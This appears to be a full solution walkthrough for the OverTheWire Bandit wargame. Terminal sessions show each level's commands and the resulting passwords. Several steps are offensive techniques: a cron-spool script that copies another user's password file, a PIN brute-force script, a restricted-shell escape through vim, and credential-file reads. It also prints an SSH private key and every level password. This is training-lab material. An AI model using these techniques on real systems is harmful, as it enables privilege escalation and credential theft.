OverTheWire - Bandit
https://overthewire.org/wargames/bandit/bandit0.html
Current as of July 2026
0 to 1
bandit0@bandit:~$ ls
readme
bandit0@bandit:~$ cat readme
Congratulations on your first steps into the bandit game!!
Please make sure you have read the rules at https://overthewire.org/rules/
If you are following a course, workshop, walkthrough or other educational activity,
please inform the instructor about the rules as well and encourage them to
contribute to the OverTheWire community so we can keep these games free!
The password you are looking for is: 6y2kwnwK6grgvwvpvLaa2T1cpFEKOhNR
bandit0@bandit:~$
1 to 2
bandit1@bandit:~$ ls
-
bandit1@bandit:~$ cat ./-
PK8fYLZg2hnHSz83plBL1iEPKdD3QToB
2 to 3
bandit2@bandit:~$ ls
--spaces in this filename--
bandit2@bandit:~$ cat ./"--spaces in this filename--"
7ZZ2LFrykP2zEyvBl4m3clcL7tGYJPME
3 to 4
$ ssh bandit3@bandit.labs.overthewire.org -p 2220
bandit3@bandit:~$ ls
inhere
bandit3@bandit:~$ cd inhere/
bandit3@bandit:~/inhere$ ls -a
. .. ...Hiding-From-You
bandit3@bandit:~/inhere$ cat ...Hiding-From-You
xzTXq1rDJQVVAzdv5cHq1TQytTWufAMq
4 to 5
bandit4@bandit:~$ ls
inhere
bandit4@bandit:~$ cd inhere
bandit4@bandit:~/inhere$ ls
-file00 -file01 -file02 -file03 -file04 -file05 -file06 -file07 -file08 -file09
bandit4@bandit:~/inhere$ file ./*
./-file00: data
./-file01: data
./-file02: OpenPGP Secret Key
./-file03: data
./-file04: data
./-file05: data
./-file06: Non-ISO extended-ASCII text, with NEL line terminators
./-file07: ASCII text
./-file08: data
./-file09: data
bandit4@bandit:~/inhere$ cat ./-file07
6C7h9GD8M6ai5nr7wo1RonrzFjj9yIrG
5 to 6
bandit5@bandit:~$ cat $(find . -size 1033c)
pXa26xhMWaC2SvDotA4r9EgZkulOeSBW
6 to 7
bandit6@bandit:~$ cat $(find / -size 33c -user bandit7 -group bandit6 2>/dev/null)
Bmnnvf82KzQlfxgAI2d1zYbr1u9pr3E3
7 to 8
bandit7@bandit:~$ grep millionth data.txt
millionth VR1ljMayciFxbnUokuQmJFw6QC9VKtub
8 to 9
bandit8@bandit:~$ sort data.txt | uniq -u
EjmOSvuAu7sGAHqHVcBDPirRe9T03kxl
9 to 10
bandit9@bandit:~$ strings data.txt | grep ===
========== the
========== password
Y========== is
========== B0s2khmbT9u0geKuOoVGW3JZKhndE3BG
10 to 11
bandit10@bandit:~$ base64 -d data.txt
The password is pYfOY6HwUsDj5rL9UvyhU7MCmv8vN5Ro
11 to 12
g? in vim :)
The password is GROozWPO8QyN0mGrjUkID0WCYkZiQxrN
12 to 13
bandit12@bandit:~$ ls
data.txt
bandit12@bandit:~$ mktemp -d
/tmp/tmp.hC18RPEq7B
bandit12@bandit:~$ cp data.txt /tmp/tmp.hC18RPEq7B
bandit12@bandit:~$ cd /tmp/tmp.hC18RPEq7B
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ xxd -r data.txt > 1
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 1
1: gzip compressed data, was "data2.bin", last modified: Wed Jun 24 14:58:46 2026, max compression, from Unix, original size modulo 2^32 580
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ gunzip -c 1 > 2
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 2
2: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ bzip2 -d -c 2 > 3
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 3
3: gzip compressed data, was "data4.bin", last modified: Wed Jun 24 14:58:46 2026, max compression, from Unix, original size modulo 2^32 20480
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ gunzip -c 3 > 4
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 4
4: POSIX tar archive (GNU)
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ tar -xf 4 -O > 5
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 5
5: POSIX tar archive (GNU)
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ tar -xf 5 -O > 6
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 6
6: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ bzip2 -d -c 6 > 7
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 7
7: POSIX tar archive (GNU)
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ tar -xf 7 -O > 8
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 8
8: gzip compressed data, was "data9.bin", last modified: Wed Jun 24 14:58:46 2026, max compression, from Unix, original size modulo 2^32 49
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ gunzip -c 8 > 9
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ file 9
9: ASCII text
bandit12@bandit:/tmp/tmp.hC18RPEq7B$ cat 9
The password is qQYQiHOBPR8zR61qxYqX45quvihF2uzk
13 to 14
[~/t]
$ scp -P 2220 bandit13@bandit.labs.overthewire.org:/home/bandit13/sshkey.private .
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
backend: gibson-1
bandit13@bandit.labs.overthewire.org's password:
sshkey.private 100% 2602 2.7KB/s 00:00
[~/t]
$ chmod 600 sshkey.private
[~/t]
$ ssh bandit14@bandit.labs.overthewire.org -p 2220 -i sshkey.private
bandit14@bandit:~$
14 to 15
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14 | nc localhost 30000
Correct!
pbLYuZtTg4MgaqfJx8jbA9gKKGqM68A7
15 to 16
bandit15@bandit:~$ openssl s_client 127.0.0.1:30001
---
read R BLOCK
pbLYuZtTg4MgaqfJx8jbA9gKKGqM68A7
Correct!
kS0Hf0u5HiXFwKMKFqXvPdOTNGGa0X8V
closed
Alternative:
import socket
import ssl
HOST = '127.0.0.1'
PORT = 30001
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
ssock.sendall(b'pbLYuZtTg4MgaqfJx8jbA9gKKGqM68A7'+ b'\n')
response = ssock.recv(1024)
print(response.decode())
bandit15@bandit:/tmp/tmp.9wnMsk3KK5$ python3 solve.py
Correct!
kS0Hf0u5HiXFwKMKFqXvPdOTNGGa0X8V
16 to 17
bandit16@bandit:~$ nmap -sV localhost -p 31000-32000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-16 22:03 +0000
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00016s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
31046/tcp open echo
31518/tcp open ssl/echo
31691/tcp open echo
31790/tcp open ssl/unknown
31960/tcp open echo
bandit16@bandit:~$ cat /etc/bandit_pass/bandit16
kS0Hf0u5HiXFwKMKFqXvPdOTNGGa0X8V
bandit16@bandit:~$ openssl s_client -connect 127.0.0.1:31790 -ign_eof
Connecting to 127.0.0.1
CONNECTED(00000003)
<...>
---
read R BLOCK
kS0Hf0u5HiXFwKMKFqXvPdOTNGGa0X8V
Correct!
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
closed
bandit16@bandit:~$
17 to 18
bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< qOg5pVOjPx9x9VccyYBADiT4xxyoUB8D
---
> OQxXZjELndr90zuhOTDYBEomI0SZITXI
18 to 19
$ ssh bandit18@bandit.labs.overthewire.org -p 2220 /bin/bash
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
backend: gibson-1
bandit18@bandit.labs.overthewire.org's password:
ls
readme
cat readme
KpsOfPkcP7i1FlIExk2QEjyt6dw8dxZI
19 to 20
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
4pIjcunZ0fK2vmp3IwfG8Vf7VhxD6pOA
20 to 21
bandit20@bandit:~$ ./suconnect 1234
Read: 4pIjcunZ0fK2vmp3IwfG8Vf7VhxD6pOA
Password matches, sending next password
bandit20@bandit:~$
bandit20@bandit:~$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 127.0.0.1 41510
4pIjcunZ0fK2vmp3IwfG8Vf7VhxD6pOA
bW9kBv5WC3P4yoDyf12LSdGuNz5ka6hY
bandit20@bandit:~$
21 to 22
bandit21@bandit:~$ cd /etc/cron.d/
bandit21@bandit:/etc/cron.d$ ls
behemoth4_cleanup cronjob_bandit22 cronjob_bandit24 leviathan5_cleanup otw-tmp-dir
clean_tmp cronjob_bandit23 e2scrub_all manpage3_resetpw_job
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
RYVux2rHEm9tiXHmLFzuR7Vhx6AZQMEz
22 to 23
bandit22@bandit:~$ cd /etc/cron.d/
bandit22@bandit:/etc/cron.d$ ls
behemoth4_cleanup cronjob_bandit22 cronjob_bandit24 leviathan5_cleanup otw-tmp-dir
clean_tmp cronjob_bandit23 e2scrub_all manpage3_resetpw_job
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
gKXDTAXnIz3OBxiPjRZ2uqutUlPZrBsw
23 to 24
bandit23@bandit:/etc/cron.d$ ls
behemoth4_cleanup cronjob_bandit22 cronjob_bandit24 leviathan5_cleanup otw-tmp-dir
clean_tmp cronjob_bandit23 e2scrub_all manpage3_resetpw_job
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
shopt -s nullglob
myname=$(whoami)
cd /var/spool/"$myname"/foo || exit
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." ] && [ "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" "./$i")"
if [ "${owner}" = "bandit23" ] && [ -f "$i" ]; then
timeout -s 9 60 "./$i"
fi
rm -rf "./$i"
fi
bandit23@bandit:~$ mktemp -d
/tmp/tmp.N97JqEluou
bandit23@bandit:~$ chmod o+wx /tmp/tmp.N97JqEluou
bandit23@bandit:~$ printf "cat /etc/bandit_pass/bandit24 > /tmp/tmp.N97JqEluou/password" > /var/spool/bandit24/foo/x.sh
bandit23@bandit:~$ chmod o+x /var/spool/bandit24/foo/x.sh
bandit23@bandit:~$ # wait up to 1 minute for the cronjob to execute
bandit23@bandit:~$ cat /tmp/tmp.N97JqEluou/password
hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv
24 to 25
import socket
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect(("127.0.0.1", 30002))
socket.recv(1024)
for pin in range(10000):
socket.sendall((f'hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv {pin:04d}\n').encode())
response = socket.recv(1024)
print(f'{pin:04d} {response}')
if b'Wrong' not in response:
break
...
0328 b'Wrong! Please enter the correct current password and pincode. Try again.\n'
0329 b'Wrong! Please enter the correct current password and pincode. Try again.\n'
0330 b'Wrong! Please enter the correct current password and pincode. Try again.\n'
0331 b'Wrong! Please enter the correct current password and pincode. Try again.\n'
0332 b'Correct!\nThe password of user bandit25 is SoHfqMOEqIX2IYKVciZxvgpR9a2Djx4P\n\n'
25 to 26
bandit25@bandit:~$ grep bandit26 /etc/passwd
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
exec more ~/text.txt
exit 0
bandit25@bandit:~$ ls
bandit26.sshkey
$ chmod 600 bandit26.sshkey
$ ssh bandit26@bandit.labs.overthewire.org -p 2220 -i bandit26.sshkey
Make your teminal very small so more goes into command mode.
press āvā to open vim
then in vim:
:set shell=/bin/bash
:shell
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
jHdv2ELQhT22BkprMNDjybZDAkw1zeBJ
26 to 27
bandit26@bandit:~$ ls
bandit27-do text.txt
bandit26@bandit:~$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
STJLJBRRphMxKB392CT4iOr5CbzPU9ER
27 to 28
[~/t]
$ git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo
Cloning into 'repo'...
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
backend: gibson-1
bandit27-git@bandit.labs.overthewire.org's password:
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (3/3), done.
[~/t]
$ cd repo
[~/t/repo]
$ ls
README
[~/t/repo]
$ cat README
The password to the next level is: y8Yd2ssKcpHpud7UvOSOxwamRMzIGIeQ
28 to 29
[~/t]
$ git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo
[~/t]
$ cd repo/
[~/t/repo]
$ ls
README.md
[~/t/repo]
$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
[~/t/repo]
$ git log
commit 83d77407b76c9f86ac4e691a47618641c9d527ba (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date: Wed Jun 24 14:59:06 2026 +0000
fix info leak
commit 13bbc4d2414ffe0439b8ee4f5e5c2949780cf4b3
Author: Morla Porla <morla@overthewire.org>
Date: Wed Jun 24 14:59:06 2026 +0000
add missing data
commit f3334fbccbf9446a6af88a3c71021c2f57163322
Author: Ben Dover <noone@overthewire.org>
Date: Wed Jun 24 14:59:06 2026 +0000
initial commit of README.md
[~/t/repo]
$ git show 13bbc4d2414ffe0439b8ee4f5e5c2949780cf4b3
commit 13bbc4d2414ffe0439b8ee4f5e5c2949780cf4b3
Author: Morla Porla <morla@overthewire.org>
Date: Wed Jun 24 14:59:06 2026 +0000
add missing data
diff --git a/README.md b/README.md
index 7ba2d2f..42331d9 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
- username: bandit29
-- password: <TBD>
+- password: Em7eGtqaMySwNFjCpwzzHhLhospOcdt0
29 to 30
[~/t]
$ git clone ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo
[~/t]
$ cd repo/
[~/t/repo]
$ ls
README.md
[~/t/repo]
$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: <no passwords in production!>
[~/t/repo]
$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev
[~/t/repo]
$ git checkout dev
branch 'dev' set up to track 'origin/dev'.
Switched to a new branch 'dev'
[~/t/repo]
$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: jq9Dfg2rXsfYsWMgFuKlXhphjdH7USgX
30 to 31
[~/t]
$ git clone ssh://bandit30-git@bandit.labs.overthewire.org:2220/home/bandit30-git/repo
[~/t]
$ cd repo/
[~/t/repo]
$ ls
README.md
[~/t/repo]
$ cat README.md
just an epmty file... muahaha
[~/t/repo]
$ git tag
secret
[~/t/repo]
$ git show secret
82NkymblpGBYmIXG6ZQ8YldBYstHpfUf
31 to 32
[~/t]
$ git clone ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo
[~/t]
$ cd repo/
[~/t/repo]
$ ls
README.md
[~/t/repo]
$ cat README.md
This time your task is to push a file to the remote repository.
Details:
File name: key.txt
Content: 'May I come in?'
Branch: master
[~/t/repo]
$ echo 'May I come in?' > key.txt
[~/t/repo]
$ git add -f key.txt
[~/t/repo]
$ git commit -a -m '.'
[master cd0cc1d] .
1 file changed, 1 insertion(+)
create mode 100644 key.txt
[~/t/repo]
$ git push
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: pWuj5jBQ6IgV0NXwiH6g1pXRF8S1YvbT
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo'
32 to 33
WELCOME TO THE UPPERCASE SHELL
>> $0
$ cat /etc/bandit\_pass/bandit33
u4P2CyPOwPGLe94RdD9Uo2FxFwvnFswM
33
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!
At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.
If you have an idea for an awesome new level, please let us know!